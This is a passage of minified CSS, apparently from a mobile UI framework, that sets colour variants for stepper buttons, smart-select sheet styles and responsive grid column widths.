.stepper.color-green.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-green.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-green.stepper-fill .stepper-button.active-state,.md .stepper.color-green.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-green.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-green.stepper-fill-md .stepper-button.active-state{background:#409343}.md .stepper.color-green.stepper-fill .stepper-button-minus:after,.md .stepper.color-green.stepper-fill .stepper-button-minus:before,.md .stepper.color-green.stepper-fill .stepper-button-plus:after,.md .stepper.color-green.stepper-fill .stepper-button-plus:before,.md .stepper.color-green.stepper-fill .stepper-button:after,.md .stepper.color-green.stepper-fill .stepper-button:before,.md .stepper.color-green.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-green.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-green.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-green.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-green.stepper-fill-md .stepper-button:after,.md .stepper.color-green.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-blue .stepper-button,.md .stepper.color-blue .stepper-button-minus,.md .stepper.color-blue .stepper-button-plus{border-color:#2196f3;color:#2196f3}.md .stepper.color-blue .stepper-button-minus:after,.md .stepper.color-blue .stepper-button-minus:before,.md .stepper.color-blue .stepper-button-plus:after,.md .stepper.color-blue .stepper-button-plus:before{background:#2196f3}.md .stepper.color-blue .stepper-input-wrap,.md .stepper.color-blue .stepper-value{border-top-color:#2196f3;border-bottom-color:#2196f3}.md .stepper.color-blue .stepper-value{color:#2196f3}.md .stepper.color-blue .stepper-input-wrap input{color:#2196f3}.md .stepper.color-blue.stepper-fill .stepper-button,.md .stepper.color-blue.stepper-fill .stepper-button-minus,.md .stepper.color-blue.stepper-fill .stepper-button-plus,.md .stepper.color-blue.stepper-fill-md .stepper-button,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus{background-color:#2196f3;color:#fff}.md .stepper.color-blue.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-blue.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-blue.stepper-fill .stepper-button.active-state,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-blue.stepper-fill-md .stepper-button.active-state{background:#0c82df}.md .stepper.color-blue.stepper-fill .stepper-button-minus:after,.md .stepper.color-blue.stepper-fill .stepper-button-minus:before,.md .stepper.color-blue.stepper-fill .stepper-button-plus:after,.md .stepper.color-blue.stepper-fill .stepper-button-plus:before,.md .stepper.color-blue.stepper-fill .stepper-button:after,.md .stepper.color-blue.stepper-fill .stepper-button:before,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-blue.stepper-fill-md .stepper-button:after,.md .stepper.color-blue.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-pink .stepper-button,.md .stepper.color-pink .stepper-button-minus,.md .stepper.color-pink .stepper-button-plus{border-color:#e91e63;color:#e91e63}.md .stepper.color-pink .stepper-button-minus:after,.md .stepper.color-pink .stepper-button-minus:before,.md .stepper.color-pink .stepper-button-plus:after,.md .stepper.color-pink .stepper-button-plus:before{background:#e91e63}.md .stepper.color-pink .stepper-input-wrap,.md .stepper.color-pink .stepper-value{border-top-color:#e91e63;border-bottom-color:#e91e63}.md .stepper.color-pink .stepper-value{color:#e91e63}.md .stepper.color-pink .stepper-input-wrap input{color:#e91e63}.md .stepper.color-pink.stepper-fill .stepper-button,.md .stepper.color-pink.stepper-fill .stepper-button-minus,.md .stepper.color-pink.stepper-fill .stepper-button-plus,.md .stepper.color-pink.stepper-fill-md .stepper-button,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus{background-color:#e91e63;color:#fff}.md .stepper.color-pink.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-pink.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-pink.stepper-fill .stepper-button.active-state,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-pink.stepper-fill-md .stepper-button.active-state{background:#ca1452}.md .stepper.color-pink.stepper-fill .stepper-button-minus:after,.md .stepper.color-pink.stepper-fill .stepper-button-minus:before,.md .stepper.color-pink.stepper-fill .stepper-button-plus:after,.md .stepper.color-pink.stepper-fill .stepper-button-plus:before,.md .stepper.color-pink.stepper-fill .stepper-button:after,.md .stepper.color-pink.stepper-fill .stepper-button:before,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-pink.stepper-fill-md .stepper-button:after,.md .stepper.color-pink.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-yellow .stepper-button,.md .stepper.color-yellow .stepper-button-minus,.md .stepper.color-yellow .stepper-button-plus{border-color:#ffeb3b;color:#ffeb3b}.md .stepper.color-yellow .stepper-button-minus:after,.md .stepper.color-yellow .stepper-button-minus:before,.md .stepper.color-yellow .stepper-button-plus:after,.md .stepper.color-yellow .stepper-button-plus:before{background:#ffeb3b}.md .stepper.color-yellow .stepper-input-wrap,.md .stepper.color-yellow .stepper-value{border-top-color:#ffeb3b;border-bottom-color:#ffeb3b}.md .stepper.color-yellow .stepper-value{color:#ffeb3b}.md .stepper.color-yellow .stepper-input-wrap input{color:#ffeb3b}.md .stepper.color-yellow.stepper-fill .stepper-button,.md .stepper.color-yellow.stepper-fill .stepper-button-minus,.md .stepper.color-yellow.stepper-fill .stepper-button-plus,.md .stepper.color-yellow.stepper-fill-md .stepper-button,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus{background-color:#ffeb3b;color:#fff}.md .stepper.color-yellow.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-yellow.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-yellow.stepper-fill .stepper-button.active-state,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-yellow.stepper-fill-md .stepper-button.active-state{background:#ffe712}.md .stepper.color-yellow.stepper-fill .stepper-button-minus:after,.md .stepper.color-yellow.stepper-fill .stepper-button-minus:before,.md .stepper.color-yellow.stepper-fill .stepper-button-plus:after,.md .stepper.color-yellow.stepper-fill .stepper-button-plus:before,.md .stepper.color-yellow.stepper-fill .stepper-button:after,.md .stepper.color-yellow.stepper-fill .stepper-button:before,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-yellow.stepper-fill-md .stepper-button:after,.md .stepper.color-yellow.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-orange .stepper-button,.md .stepper.color-orange .stepper-button-minus,.md .stepper.color-orange .stepper-button-plus{border-color:#ff9800;color:#ff9800}.md .stepper.color-orange .stepper-button-minus:after,.md .stepper.color-orange .stepper-button-minus:before,.md .stepper.color-orange .stepper-button-plus:after,.md .stepper.color-orange .stepper-button-plus:before{background:#ff9800}.md .stepper.color-orange .stepper-input-wrap,.md .stepper.color-orange .stepper-value{border-top-color:#ff9800;border-bottom-color:#ff9800}.md .stepper.color-orange .stepper-value{color:#ff9800}.md .stepper.color-orange .stepper-input-wrap input{color:#ff9800}.md .stepper.color-orange.stepper-fill .stepper-button,.md .stepper.color-orange.stepper-fill .stepper-button-minus,.md .stepper.color-orange.stepper-fill .stepper-button-plus,.md .stepper.color-orange.stepper-fill-md .stepper-button,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus{background-color:#ff9800;color:#fff}.md .stepper.color-orange.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-orange.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-orange.stepper-fill .stepper-button.active-state,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-orange.stepper-fill-md .stepper-button.active-state{background:#d68000}.md .stepper.color-orange.stepper-fill .stepper-button-minus:after,.md .stepper.color-orange.stepper-fill .stepper-button-minus:before,.md .stepper.color-orange.stepper-fill .stepper-button-plus:after,.md .stepper.color-orange.stepper-fill .stepper-button-plus:before,.md .stepper.color-orange.stepper-fill .stepper-button:after,.md .stepper.color-orange.stepper-fill .stepper-button:before,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-orange.stepper-fill-md .stepper-button:after,.md .stepper.color-orange.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-gray .stepper-button,.md .stepper.color-gray .stepper-button-minus,.md .stepper.color-gray .stepper-button-plus{border-color:#9e9e9e;color:#9e9e9e}.md .stepper.color-gray .stepper-button-minus:after,.md .stepper.color-gray .stepper-button-minus:before,.md .stepper.color-gray .stepper-button-plus:after,.md .stepper.color-gray .stepper-button-plus:before{background:#9e9e9e}.md .stepper.color-gray .stepper-input-wrap,.md .stepper.color-gray .stepper-value{border-top-color:#9e9e9e;border-bottom-color:#9e9e9e}.md .stepper.color-gray .stepper-value{color:#9e9e9e}.md .stepper.color-gray .stepper-input-wrap input{color:#9e9e9e}.md .stepper.color-gray.stepper-fill .stepper-button,.md .stepper.color-gray.stepper-fill .stepper-button-minus,.md .stepper.color-gray.stepper-fill .stepper-button-plus,.md .stepper.color-gray.stepper-fill-md .stepper-button,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus{background-color:#9e9e9e;color:#fff}.md .stepper.color-gray.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-gray.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-gray.stepper-fill .stepper-button.active-state,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-gray.stepper-fill-md .stepper-button.active-state{background:#8a8a8a}.md .stepper.color-gray.stepper-fill .stepper-button-minus:after,.md .stepper.color-gray.stepper-fill .stepper-button-minus:before,.md .stepper.color-gray.stepper-fill .stepper-button-plus:after,.md .stepper.color-gray.stepper-fill .stepper-button-plus:before,.md .stepper.color-gray.stepper-fill .stepper-button:after,.md .stepper.color-gray.stepper-fill .stepper-button:before,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-gray.stepper-fill-md .stepper-button:after,.md .stepper.color-gray.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-white .stepper-button,.md .stepper.color-white .stepper-button-minus,.md .stepper.color-white .stepper-button-plus{border-color:#fff;color:#fff}.md .stepper.color-white .stepper-button-minus:after,.md .stepper.color-white .stepper-button-minus:before,.md .stepper.color-white .stepper-button-plus:after,.md .stepper.color-white .stepper-button-plus:before{background:#fff}.md .stepper.color-white .stepper-input-wrap,.md .stepper.color-white .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.md .stepper.color-white .stepper-value{color:#fff}.md .stepper.color-white .stepper-input-wrap input{color:#fff}.md .stepper.color-white.stepper-fill .stepper-button,.md .stepper.color-white.stepper-fill .stepper-button-minus,.md .stepper.color-white.stepper-fill .stepper-button-plus,.md .stepper.color-white.stepper-fill-md .stepper-button,.md .stepper.color-white.stepper-fill-md .stepper-button-minus,.md .stepper.color-white.stepper-fill-md .stepper-button-plus{background-color:#fff;color:#fff}.md .stepper.color-white.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-white.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-white.stepper-fill .stepper-button.active-state,.md .stepper.color-white.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-white.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-white.stepper-fill-md .stepper-button.active-state{background:#ebebeb}.md .stepper.color-white.stepper-fill .stepper-button-minus:after,.md .stepper.color-white.stepper-fill .stepper-button-minus:before,.md .stepper.color-white.stepper-fill .stepper-button-plus:after,.md .stepper.color-white.stepper-fill .stepper-button-plus:before,.md .stepper.color-white.stepper-fill .stepper-button:after,.md .stepper.color-white.stepper-fill .stepper-button:before,.md .stepper.color-white.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-white.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-white.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-white.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-white.stepper-fill-md .stepper-button:after,.md .stepper.color-white.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-black .stepper-button,.md .stepper.color-black .stepper-button-minus,.md .stepper.color-black .stepper-button-plus{border-color:#000;color:#000}.md .stepper.color-black .stepper-button-minus:after,.md .stepper.color-black .stepper-button-minus:before,.md .stepper.color-black .stepper-button-plus:after,.md .stepper.color-black .stepper-button-plus:before{background:#000}.md .stepper.color-black .stepper-input-wrap,.md .stepper.color-black .stepper-value{border-top-color:#000;border-bottom-color:#000}.md .stepper.color-black .stepper-value{color:#000}.md .stepper.color-black .stepper-input-wrap input{color:#000}.md .stepper.color-black.stepper-fill .stepper-button,.md .stepper.color-black.stepper-fill .stepper-button-minus,.md .stepper.color-black.stepper-fill .stepper-button-plus,.md .stepper.color-black.stepper-fill-md .stepper-button,.md .stepper.color-black.stepper-fill-md .stepper-button-minus,.md .stepper.color-black.stepper-fill-md .stepper-button-plus{background-color:#000;color:#fff}.md .stepper.color-black.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-black.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-black.stepper-fill .stepper-button.active-state,.md .stepper.color-black.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-black.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-black.stepper-fill-md .stepper-button.active-state{background:#000}.md .stepper.color-black.stepper-fill .stepper-button-minus:after,.md .stepper.color-black.stepper-fill .stepper-button-minus:before,.md .stepper.color-black.stepper-fill .stepper-button-plus:after,.md .stepper.color-black.stepper-fill .stepper-button-plus:before,.md .stepper.color-black.stepper-fill .stepper-button:after,.md .stepper.color-black.stepper-fill .stepper-button:before,.md .stepper.color-black.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-black.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-black.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-black.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-black.stepper-fill-md .stepper-button:after,.md .stepper.color-black.stepper-fill-md .stepper-button:before{background:#fff}.smart-select select{display:none}.smart-select .item-after{max-width:70%;overflow:hidden;text-overflow:ellipsis;position:relative;display:block}.sheet-modal.smart-select-sheet .sheet-modal-inner{background:#fff}.sheet-modal.smart-select-sheet .list{margin:0}.sheet-modal.smart-select-sheet .list ul:before{display:none!important}.sheet-modal.smart-select-sheet .list ul:after{display:none!important}.smart-select-popover .popover-inner{max-height:40vh}.md .theme-dark .sheet-modal.smart-select-sheet .sheet-modal-inner{background-color:transparent}.row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.row>.col,.row>[class*=col-]{-webkit-box-sizing:border-box;box-sizing:border-box}.row .col{width:100%}.md .row .col-100{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .col-100{width:100%}.md .row .col-95{width:95%;width:calc((100% - 16px*.05263157894736836)/ 1.0526315789473684)}.md .row.no-gap .col-95{width:95%}.md .row .col-90{width:90%;width:calc((100% - 16px*.11111111111111116)/ 1.1111111111111112)}.md .row.no-gap .col-90{width:90%}.md .row .col-85{width:85%;width:calc((100% - 16px*.17647058823529416)/ 1.1764705882352942)}.md .row.no-gap .col-85{width:85%}.md .row .col-80{width:80%;width:calc((100% - 16px*.25)/ 1.25)}.md .row.no-gap .col-80{width:80%}.md .row .col-75{width:75%;width:calc((100% - 16px*.33333333333333326)/ 1.3333333333333333)}.md .row.no-gap .col-75{width:75%}.md .row .col-70{width:70%;width:calc((100% - 16px*.4285714285714286)/ 1.4285714285714286)}.md .row.no-gap .col-70{width:70%}.md .row .col-66{width:66.66666666666666%;width:calc((100% - 16px*.5000000000000002)/ 1.5000000000000002)}.md .row.no-gap .col-66{width:66.66666666666666%}.md .row .col-65{width:65%;width:calc((100% - 16px*.5384615384615385)/ 1.5384615384615385)}.md .row.no-gap .col-65{width:65%}.md .row .col-60{width:60%;width:calc((100% - 16px*.6666666666666667)/ 1.6666666666666667)}.md .row.no-gap .col-60{width:60%}.md .row .col-55{width:55%;width:calc((100% - 16px*.8181818181818181)/ 1.8181818181818181)}.md .row.no-gap .col-55{width:55%}.md .row .col-50{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .col-50{width:50%}.md .row .col-45{width:45%;width:calc((100% - 16px*1.2222222222222223)/ 2.2222222222222223)}.md .row.no-gap .col-45{width:45%}.md .row .col-40{width:40%;width:calc((100% - 16px*1.5)/ 2.5)}.md .row.no-gap .col-40{width:40%}.md .row .col-35{width:35%;width:calc((100% - 16px*1.8571428571428572)/ 2.857142857142857)}.md .row.no-gap .col-35{width:35%}.md .row .col-33{width:33.333333333333336%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .col-33{width:33.333333333333336%}.md .row .col-30{width:30%;width:calc((100% - 16px*2.3333333333333335)/ 3.3333333333333335)}.md .row.no-gap .col-30{width:30%}.md .row .col-25{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .col-25{width:25%}.md .row .col-20{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .col-20{width:20%}.md .row .col-15{width:15%;width:calc((100% - 16px*5.666666666666667)/ 6.666666666666667)}.md .row.no-gap .col-15{width:15%}.md .row .col-10{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .col-10{width:10%}.md .row .col-5{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .col-5{width:5%}.md .row .col:nth-last-child(1),.md .row .col:nth-last-child(1)~.col{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .col:nth-last-child(1),.md .row.no-gap .col:nth-last-child(1)~.col{width:100%}.md .row .col:nth-last-child(2),.md .row .col:nth-last-child(2)~.col{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .col:nth-last-child(2),.md .row.no-gap .col:nth-last-child(2)~.col{width:50%}.md .row .col:nth-last-child(3),.md .row .col:nth-last-child(3)~.col{width:33.33333333%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .col:nth-last-child(3),.md .row.no-gap .col:nth-last-child(3)~.col{width:33.33333333%}.md .row .col:nth-last-child(4),.md .row .col:nth-last-child(4)~.col{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .col:nth-last-child(4),.md .row.no-gap .col:nth-last-child(4)~.col{width:25%}.md .row .col:nth-last-child(5),.md .row .col:nth-last-child(5)~.col{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .col:nth-last-child(5),.md .row.no-gap .col:nth-last-child(5)~.col{width:20%}.md .row .col:nth-last-child(6),.md .row .col:nth-last-child(6)~.col{width:16.66666667%;width:calc((100% - 16px*5)/ 6)}.md .row.no-gap .col:nth-last-child(6),.md .row.no-gap .col:nth-last-child(6)~.col{width:16.66666667%}.md .row .col:nth-last-child(7),.md .row .col:nth-last-child(7)~.col{width:14.28571429%;width:calc((100% - 16px*6)/ 7)}.md .row.no-gap .col:nth-last-child(7),.md .row.no-gap .col:nth-last-child(7)~.col{width:14.28571429%}.md .row .col:nth-last-child(8),.md .row .col:nth-last-child(8)~.col{width:12.5%;width:calc((100% - 16px*7)/ 8)}.md .row.no-gap .col:nth-last-child(8),.md .row.no-gap .col:nth-last-child(8)~.col{width:12.5%}.md .row .col:nth-last-child(9),.md .row .col:nth-last-child(9)~.col{width:11.11111111%;width:calc((100% - 16px*8)/ 9)}.md .row.no-gap .col:nth-last-child(9),.md .row.no-gap .col:nth-last-child(9)~.col{width:11.11111111%}.md .row .col:nth-last-child(10),.md .row .col:nth-last-child(10)~.col{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .col:nth-last-child(10),.md .row.no-gap .col:nth-last-child(10)~.col{width:10%}.md .row .col:nth-last-child(11),.md .row .col:nth-last-child(11)~.col{width:9.09090909%;width:calc((100% - 16px*10)/ 11)}.md .row.no-gap .col:nth-last-child(11),.md .row.no-gap .col:nth-last-child(11)~.col{width:9.09090909%}.md .row .col:nth-last-child(12),.md .row .col:nth-last-child(12)~.col{width:8.33333333%;width:calc((100% - 16px*11)/ 12)}.md .row.no-gap .col:nth-last-child(12),.md .row.no-gap .col:nth-last-child(12)~.col{width:8.33333333%}.md .row .col:nth-last-child(13),.md .row .col:nth-last-child(13)~.col{width:7.69230769%;width:calc((100% - 16px*12)/ 13)}.md .row.no-gap .col:nth-last-child(13),.md .row.no-gap .col:nth-last-child(13)~.col{width:7.69230769%}.md .row .col:nth-last-child(14),.md .row .col:nth-last-child(14)~.col{width:7.14285714%;width:calc((100% - 16px*13)/ 14)}.md .row.no-gap .col:nth-last-child(14),.md .row.no-gap .col:nth-last-child(14)~.col{width:7.14285714%}.md .row .col:nth-last-child(15),.md .row .col:nth-last-child(15)~.col{width:6.66666667%;width:calc((100% - 16px*14)/ 15)}.md .row.no-gap .col:nth-last-child(15),.md .row.no-gap .col:nth-last-child(15)~.col{width:6.66666667%}.md .row .col:nth-last-child(16),.md .row .col:nth-last-child(16)~.col{width:6.25%;width:calc((100% - 16px*15)/ 16)}.md .row.no-gap .col:nth-last-child(16),.md .row.no-gap .col:nth-last-child(16)~.col{width:6.25%}.md .row .col:nth-last-child(17),.md .row .col:nth-last-child(17)~.col{width:5.88235294%;width:calc((100% - 16px*16)/ 17)}.md .row.no-gap .col:nth-last-child(17),.md .row.no-gap .col:nth-last-child(17)~.col{width:5.88235294%}.md .row .col:nth-last-child(18),.md .row .col:nth-last-child(18)~.col{width:5.55555556%;width:calc((100% - 16px*17)/ 18)}.md .row.no-gap .col:nth-last-child(18),.md .row.no-gap .col:nth-last-child(18)~.col{width:5.55555556%}.md .row .col:nth-last-child(19),.md .row .col:nth-last-child(19)~.col{width:5.26315789%;width:calc((100% - 16px*18)/ 19)}.md .row.no-gap .col:nth-last-child(19),.md .row.no-gap .col:nth-last-child(19)~.col{width:5.26315789%}.md .row .col:nth-last-child(20),.md .row .col:nth-last-child(20)~.col{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .col:nth-last-child(20),.md .row.no-gap .col:nth-last-child(20)~.col{width:5%}.md .row .col:nth-last-child(21),.md .row .col:nth-last-child(21)~.col{width:4.76190476%;width:calc((100% - 16px*20)/ 21)}.md .row.no-gap .col:nth-last-child(21),.md .row.no-gap .col:nth-last-child(21)~.col{width:4.76190476%}@media (min-width:768px){.md .row .tablet-100{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .tablet-100{width:100%}.md .row .tablet-95{width:95%;width:calc((100% - 16px*.05263157894736836)/ 1.0526315789473684)}.md .row.no-gap .tablet-95{width:95%}.md .row .tablet-90{width:90%;width:calc((100% - 16px*.11111111111111116)/ 1.1111111111111112)}.md .row.no-gap .tablet-90{width:90%}.md .row .tablet-85{width:85%;width:calc((100% - 16px*.17647058823529416)/ 1.1764705882352942)}.md .row.no-gap .tablet-85{width:85%}.md .row .tablet-80{width:80%;width:calc((100% - 16px*.25)/ 1.25)}.md .row.no-gap .tablet-80{width:80%}.md .row .tablet-75{width:75%;width:calc((100% - 16px*.33333333333333326)/ 1.3333333333333333)}.md .row.no-gap .tablet-75{width:75%}.md .row .tablet-70{width:70%;width:calc((100% - 16px*.4285714285714286)/ 1.4285714285714286)}.md .row.no-gap .tablet-70{width:70%}.md .row .tablet-66{width:66.66666666666666%;width:calc((100% - 16px*.5000000000000002)/ 1.5000000000000002)}.md .row.no-gap .tablet-66{width:66.66666666666666%}.md .row .tablet-65{width:65%;width:calc((100% - 16px*.5384615384615385)/ 1.5384615384615385)}.md .row.no-gap .tablet-65{width:65%}.md .row .tablet-60{width:60%;width:calc((100% - 16px*.6666666666666667)/ 1.6666666666666667)}.md .row.no-gap .tablet-60{width:60%}.md .row .tablet-55{width:55%;width:calc((100% - 16px*.8181818181818181)/ 1.8181818181818181)}.md .row.no-gap .tablet-55{width:55%}.md .row .tablet-50{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .tablet-50{width:50%}.md .row .tablet-45{width:45%;width:calc((100% - 16px*1.2222222222222223)/ 2.2222222222222223)}.md .row.no-gap .tablet-45{width:45%}.md .row .tablet-40{width:40%;width:calc((100% - 16px*1.5)/ 2.5)}.md .row.no-gap .tablet-40{width:40%}.md .row .tablet-35{width:35%;width:calc((100% - 16px*1.8571428571428572)/ 2.857142857142857)}.md .row.no-gap .tablet-35{width:35%}.md .row .tablet-33{width:33.333333333333336%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .tablet-33{width:33.333333333333336%}.md .row .tablet-30{width:30%;width:calc((100% - 16px*2.3333333333333335)/ 3.3333333333333335)}.md .row.no-gap .tablet-30{width:30%}.md .row .tablet-25{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .tablet-25{width:25%}.md .row .tablet-20{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .tablet-20{width:20%}.md .row .tablet-15{width:15%;width:calc((100% - 16px*5.666666666666667)/ 6.666666666666667)}.md .row.no-gap .tablet-15{width:15%}.md .row .tablet-10{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .tablet-10{width:10%}.md .row .tablet-5{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .tablet-5{width:5%}.md .row .tablet-auto:nth-last-child(1),.md .row .tablet-auto:nth-last-child(1)~.tablet-auto{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .tablet-auto:nth-last-child(1),.md .row.no-gap .tablet-auto:nth-last-child(1)~.tablet-auto{width:100%}.md .row .tablet-auto:nth-last-child(2),.md .row .tablet-auto:nth-last-child(2)~.tablet-auto{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .tablet-auto:nth-last-child(2),.md .row.no-gap .tablet-auto:nth-last-child(2)~.tablet-auto{width:50%}.md .row .tablet-auto:nth-last-child(3),.md .row .tablet-auto:nth-last-child(3)~.tablet-auto{width:33.33333333%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .tablet-auto:nth-last-child(3),.md .row.no-gap .tablet-auto:nth-last-child(3)~.tablet-auto{width:33.33333333%}.md .row .tablet-auto:nth-last-child(4),.md .row .tablet-auto:nth-last-child(4)~.tablet-auto{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .tablet-auto:nth-last-child(4),.md .row.no-gap .tablet-auto:nth-last-child(4)~.tablet-auto{width:25%}.md .row .tablet-auto:nth-last-child(5),.md .row .tablet-auto:nth-last-child(5)~.tablet-auto{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .tablet-auto:nth-last-child(5),.md .row.no-gap .tablet-auto:nth-last-child(5)~.tablet-auto{width:20%}.md .row .tablet-auto:nth-last-child(6),.md .row .tablet-auto:nth-last-child(6)~.tablet-auto{width:16.66666667%;width:calc((100% - 16px*5)/ 6)}.md .row.no-gap .tablet-auto:nth-last-child(6),.md .row.no-gap .tablet-auto:nth-last-child(6)~.tablet-auto{width:16.66666667%}.md .row .tablet-auto:nth-last-child(7),.md .row .tablet-auto:nth-last-child(7)~.tablet-auto{width:14.28571429%;width:calc((100% - 16px*6)/ 7)}.md .row.no-gap .tablet-auto:nth-last-child(7),.md .row.no-gap .tablet-auto:nth-last-child(7)~.tablet-auto{width:14.28571429%}.md .row .tablet-auto:nth-last-child(8),.md .row .tablet-auto:nth-last-child(8)~.tablet-auto{width:12.5%;width:calc((100% - 16px*7)/ 8)}.md .row.no-gap .tablet-auto:nth-last-child(8),.md .row.no-gap .tablet-auto:nth-last-child(8)~.tablet-auto{width:12.5%}.md .row .tablet-auto:nth-last-child(9),.md .row .tablet-auto:nth-last-child(9)~.tablet-auto{width:11.11111111%;width:calc((100% - 16px*8)/ 9)}.md .row.no-gap .tablet-auto:nth-last-child(9),.md .row.no-gap .tablet-auto:nth-last-child(9)~.tablet-auto{width:11.11111111%}.md .row .tablet-auto:nth-last-child(10),.md .row .tablet-auto:nth-last-child(10)~.tablet-auto{width:10%;width:calc((100% - 